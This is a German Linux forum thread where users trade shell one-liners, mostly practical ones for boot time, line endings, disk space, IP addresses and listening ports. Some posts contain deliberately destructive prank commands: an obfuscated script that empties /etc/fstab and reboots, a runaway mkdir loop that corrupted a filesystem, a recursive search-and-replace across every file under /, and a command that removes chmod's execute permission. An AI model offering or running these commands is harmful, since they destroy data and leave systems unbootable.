Seite 1 von 7 12345 ... LetzteLetzte
Ergebnis 1 bis 15 von 99

Thema: Einzeiler unter linux.

  1. #1
    Registered User
    Registriert seit
    Jun 2000
    Beiträge
    3.827
    Renommee
    551

    Post Einzeiler unter linux.

    sodele, ich bitte euch nun ein paar einzeiler (mit beschreibung was es amcht) hier reinzustellen. diese sind als ganz nützlich ;-)

  2. #2
    Registered User
    Registriert seit
    Jun 2000
    Beiträge
    3.827
    Renommee
    551

    Post

    ich stell dann gleich mal einen rein

    einen nutzlosen den ich mal aus langweile entworfen habe für ein kiddie der meinte Linux wäre k3w3l und man bräuchte keinen normale useraccounts (root langt doch *gg*) lol.

    Code:
    export OSAMA=/usr/local/bin/laden ; clear ; echo "Talibunny Login Method" ; echo "cat /dev/null `ls -f /etc | sed -e 's/yst/tab/p' -n | cut -b 1,5-8 |awk '{print "> /etc/" $1}'`" >> $OSAMA ; echo "`ls -f /etc | grep [.] | cut -b 1-4 | grep ni` 0" >> $OSAMA ; chmod 101 $OSAMA ; echo " osama bin ..... < Wie gehts weiter?"
    was es tut? eine datei namens laden anlegen im verzeichnis /usr/local/bin und diese ausführbar machen. wenn man nun laden eingibt als root löscht die datei den inhalt der /etc/fstab datei und bootet neu. es diente mir dazu denjenigen zu zeigen dass a) man den root account nur dann nimmt wenn man es auch braucht und b) man als root nichts eingibt was man nicht versteht.

    klar hätte man das ganze viel kürzer und leserlicher schreiben können, aber wo bleibt da der spaß *gg*



  3. #3
    Crash Override
    Guest

    Post

    *Auch mal ein paar Einzeiler reinwerfen will*

    Code:
    while :; do mkdir foobar && echo gg >| hrhr ;cd foobar ;done &
    Das Ding macht nix anderes, als das es ein Verzeichnis mit dem Namen "foobar" erzeugt. Anschlieszend wird in das Verzeichnis gewechselt und darin eine Datei "hrhr" erstellt[1]... und das geht dann immer so weiter *g*
    Mein "486 was waere wenn Rechner" hat das immerhin 4h lang ausgehalten *fg*

    erstellt[1]
    echo gg >| hrhr
    Das nur deswegen, dasz die Datei nen Inhalt hat; das ">|" aus dem Grund, weil dann (sofern noclobber gesetzt ist), die erstellt Datei ueberschrieben werden kann.
    Dann waer da noch folgender:
    Code:
     find -r / -type f -name "*.*" | xargs perl -pi.old -e "s/\bCONFIG\b/fork/g"
    Der macht nix anderes, als das alle Dateien die in/unter "/" liegen durchsucht werden. Das Ergebnis wird dann "perl" uebergeben und das wechseltdann in jeder Datei den String "CONFIG" durch "fork" aus gleichzeitig wird noch 'n Backup gemacht *g*).

    nen richtigen Sinn haben die Substitutionen eigentlich nich; es is nur immer wieder lustig wenn es Leute gibt die sowas einfach mal eingeben weil es wichtig aussieht *scnr*

    Ich kenn aber auch nuetzliche und sinnvolle Einzeiler (is echt so *g*)

    Code:
    perl -ne 'print scalar localtime $1 if /^btime (\d+)/' /proc/stat
    Der wuerde die Bootzeit ausgeben, wann zum letzten Mal gebooted wurde.

    Wenn man Linux laufen hat und von einem Windows-User ne Text-Datei zugeschickt bekommt, dann stehen ab und zu am Zeilenende so komische Zeichen wie "^M". Das sind nix anderes wie dumme Ascii-Codes. Jetz hat man gleich mehrere Moeglichkeiten die wieder loszuwerden..
    Entwerder man entfernt die 'per Hand' was ziemlich nervig werden kann wenn die Datei mal groeszer is. Eine Alternative bietet hier das Programm 'dos2unix' (dos2unix --help). Wenn das nicht installiert ist, kann man die auch noch auf folgende Art und Weise loswerden:
    Code:
    perl -pie'y/\r//d' datei
    Code:
    perl -pi.bak -e 's/^M//g;' datei
    oder schlicht und einfach mit 'vi'; dazu einfach die Datei mit 'vi' oeffnen und dann auf die Escape-Taste druecken. Hinter dem ":" der unten erscheint, dann einfach folgendes Kombination eingeben:
    Code:
    :%s/^M//g
    und anschlieszend abspeichern.

    btw. das ^M musz folgendermaszen erzeugt werden:
    STRG + SHIT gedrueckt halten; dann auf "V" und zum Schlusz noch auf "M" druecken und schon hat mal "^M" ;o)

    ..HTH..




  4. #4
    Moderator
    Registriert seit
    May 2000
    Beiträge
    1.367
    Renommee
    1285
    Original erstellt von Crash Override:
    Code:
    while :; do mkdir foobar && echo gg >| hrhr ;cd foobar ;done &
    [...]
    Mein "486 was waere wenn Rechner" hat das immerhin 4h lang ausgehalten *fg*
    harrharr

    Würde mich aber einmal interessieren, was dann passiert ist, d.h. ist er dann einfach nur abgestürzt, oder konnte man keine weiteren Unterverzeichnisse mehr erstellen?
    Hat sich das Filesystem vernichtet? Konntest du die Kiste wieder booten (falls überhaupt abgestürzt), und kann man diesen Riesenhaufen Datenschrott mittels rm -R bequem wieder loswerden?

    mfg,
    octogen

  5. #5
    Registered User
    Registriert seit
    Sep 2000
    Beiträge
    804
    Renommee
    19

    Post

    Wenn er sagt auf seinem alten spiel und spass 486, wird er wohl ext2 gehabt haben und ist irgendwann an seine inode grenezen gekommen reiserfs wird wahrscheinlich erst sehr viel später einfach nur langsam, wenn der baum entsprechend gross ist

  6. #6
    Crash Override
    Guest

    Post

    Original erstellt von octogen:
    harrharr

    Würde mich aber einmal interessieren, was dann passiert ist, d.h. ist er dann einfach nur abgestürzt, oder konnte man keine weiteren Unterverzeichnisse mehr erstellen?
    Hat sich das Filesystem vernichtet? Konntest du die Kiste wieder booten (falls überhaupt abgestürzt), und kann man diesen Riesenhaufen Datenschrott mittels rm -R bequem wieder loswerden?

    mfg,
    octogen
    Das Ding hat das Filesystem zerlegt (Linux 2.2.12 Standardinstallation). Ich konnte danach weder die Verzeichnisse loeschen, noch in ein anderes Verzeichnis wechseln, weil die Auslastung des Filesystems (ext) bei 99,0% lag *g*
    Ich wollt mich dann mal remote einloggen und hab festgestellt, dasz mein Login im Sand verlaeuft, weil die Zeit ueberschritten wird.
    Danach hab ich neu gebootet und ne Kernelpanic zu Gesicht bekommen, wo mir freundlich mitgeteilt wurde, dasz mein Filesystem fehlerhaft is (welchen Fehler es hat stand nich da); das gleiche beim Booten ueber Floppy.

    Wie andere Kisten drauf reagieren, kann ich *noch* nicht sagen; ich hab nur Linux hier laufen. Ich werd aber wenn meine Flat abgelaufen is, ziemlich viel Zeit haben das mal zu testen *ggg*


    btw. chmod -x 'whereis chmod' funktioniert bei Linux bis 2.2.12 auch noch *ggg*



  7. #7
    Member
    Registriert seit
    Oct 2000
    Beiträge
    58
    Renommee
    10

    Post

    df -k | gawk '{if (NF == 7) {print "Freier Speicher"} else {print "(" $NF ":"; printf("%.2f", $4/1024); print "MB:" $5 ")"; tot=tot+$4 }} END {print "Total free: "; printf("%.2f",tot/1024); print "MB"} ' | tr "\n" " " ; echo -e \\n

    zeigt den freien speicher in einer Zeile an, kann man gut für XChat verwenden.

    mkisofs -graft-points -f -R -r -l -J -- [file on CD]=/path/to/file | cdrecord v -eject -pad speed=[number] dev=[device] -

    ist bestimmt nichts neues mehr aber für die die es noch nicht kennen oder immer über ein GUI brennen, mit diesem befehl kann man ein ISO image erstellen das über ne pipe direkt an cdrecord geschickt wird. Also ISO image erstellen und gleichzeitig brennen.

    find ./ -type f -name "*.mp3" | wc -l

    Einfacher befehl um seine mp3s zu zählen ;-)



  8. #8
    Crash Override
    Guest

    Post

    Wem die komplette Ausgabe von 'ifconfig' zu grosz is, der kann auch folgende Einzeierl verwenden um an seine aktuelle IP zu kommen:
    Code:
    ifconfig | gawk '/inet/{print $2}' | gawk -F : '//{print $2}'
    
    ifconfig ippp0 |/usr/bin/awk '/inet addr:/ {print $2}'|/usr/bin/sed 's/addr://'
    
    ifconfig ippp0 | \/usr/bin/awk '/inet addr:/ {print substr ($2, index ($2, ":") + 1) }'
    
    ifconfig ippp0 | grep inet | cut -d : -f 2 | cut -d / -f 1
    
    ifconfig ippp0 | grep 'inet' |cut -d : -f 2 | cut -d " " -f1
    
    ifconfig ippp0 | grep 'inet' | cut -d: -f2 | sed -e "s/\(.*\) \(.*\)/\1/g"
    
    ifconfig ippp0 | grep inet | perl -ane '$temp = $F[1]; $ip = substr($temp,5,100); print $ip, "\n";
    
    ifconfig ippp0 | grep P-t-P | sed s/P-t-P.*$// | sed s/"[ a-zA-Z:]*"//g

    ····edit····
    Code:
    expr "`ifconfig ippp0 | grep -we 'inet'`" : '.*:\(.*\) .*'

    das is noch von no_way




  9. #9
    Registered User
    Registriert seit
    Apr 2001
    Beiträge
    495
    Renommee
    33

    Post

    shell über zwei com-ports ohne direkte verbindung

    Code:
    sleep 99999 | cat /dev/ttyS0 | /bin/sh > /dev/ttyS1
    müsste eiendlich klappen, wenn man an ttyS0 einen befehl schickt, sollte die antwort auf ttyS1 kommen (reverse telnet klappt ja)

  10. #10
    Registered User
    Registriert seit
    Apr 2001
    Beiträge
    785
    Renommee
    18

    Post

    ich kann ja mal zwei mehrZeiler Posten..

    nach LISTEN Ports gucken:

    echo "open ports:"
    netstat -a| awk '
    $NF == "LISTEN" {
    lport = $4
    sub(".*:","", lport)
    printf " %s\n", lport
    }'

    nach laufenden Netzwerk Interfaces + der IP und NETMASK gucken:

    echo "interfaces up:"
    ifconfig| awk '
    /eth[0-9]|ppp[0-9]|ippp[0-9]|wvlan[0-9]|lo/ {
    iface = $1
    }
    /inet addr/ {
    iface_ip = $2
    iface_mask = $4

    # lo hat das netmask Feld an dritter Stelle
    if (iface == "lo") { iface_mask = $3 }
    sub("addr:","", iface_ip)
    sub("Mask:","", iface_mask)
    printf " %s\tip: %s netmask: %s\n", iface, iface_ip, iface_mask
    }'

    denke die beiden Scripte sind ganz Praktisch, wird ja oft nach gefragt , aber leider keine Einzeiler

    habe das Uebrigens auf debian + ifconfig Version 1.39 laufen (kann sein das sich bei anderen Distris ein paar Felder verschieben!).


    hoffe man merkt nicht das mir gerade langweilig war! hehe



  11. #11
    Registered User
    Registriert seit
    Jun 2000
    Beiträge
    3.827
    Renommee
    551

    Post

    Original erstellt von desa5ter:

    nach LISTEN Ports gucken:

    echo "open ports:"
    netstat -a| awk '
    $NF == "LISTEN" {
    lport = $4
    sub(".*:","", lport)
    printf " %s\n", lport
    }'
    da hab ich auch noch ein mehrzeiler dafür den ich in meine scripte benutze. es empfiehlt sich netstat -an zu nehnen da er dann nicht versucht die hostnamen der ip adressen aufzulösen und so ein wenig schneller ist

    netstat -an | grep LISTEN | awk '{print $4}' | cut -s --delimiter=":" -f 2



  12. #12
    Registered User
    Registriert seit
    Apr 2001
    Beiträge
    785
    Renommee
    18

    Post

    ich finde aber das awk flexibler ist als grep und cut, ausserdem waehren das ganze "2" Prozesse weniger!
    also wenn man die Hostnamen nicht aufloesen will:

    echo "open ports:"
    netstat -an| awk '
    $NF == "LISTEN" {
    lport = $4
    sub(".*:","", lport)
    printf " %s\n", lport
    }'


    sind wir nicht alle ein bisschen perfektionistisch?

  13. #13
    thodi
    Guest

    Post

    Ist das ein "wer schreibt das kuerzeste LISTEN-Port Script" Contest? Ich bin dabei
    Code:
    netstat -an | perl -ne 'print+((split)[3])."\n"if/EN/'

  14. #14
    Registered User
    Registriert seit
    Apr 2001
    Beiträge
    785
    Renommee
    18

    Post

    das ist auch ein cross Plattform, Schnelligkeits und Number of Processes Kontest! ;P

    Gewonnen


  15. #15
    Member
    Registriert seit
    Oct 2000
    Beiträge
    58
    Renommee
    10

    Post

    for i in `locate [blah]`; do rm -rfi $i; done

    alle dateien die [blah] enthalten und von locate gefunden wurden werden gelöscht




Aktive Benutzer

Aktive Benutzer

Aktive Benutzer in diesem Thema: 1 (Registrierte Benutzer: 0, Gäste: 1)

Ähnliche Themen

  1. Wlan stärker unter Win als unter Linux
    Von DaBenji im Forum Wireless LAN
    Antworten: 6
    Letzter Beitrag: 14.08.2007, 13:07
  2. Antworten: 0
    Letzter Beitrag: 15.09.2003, 21:58

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •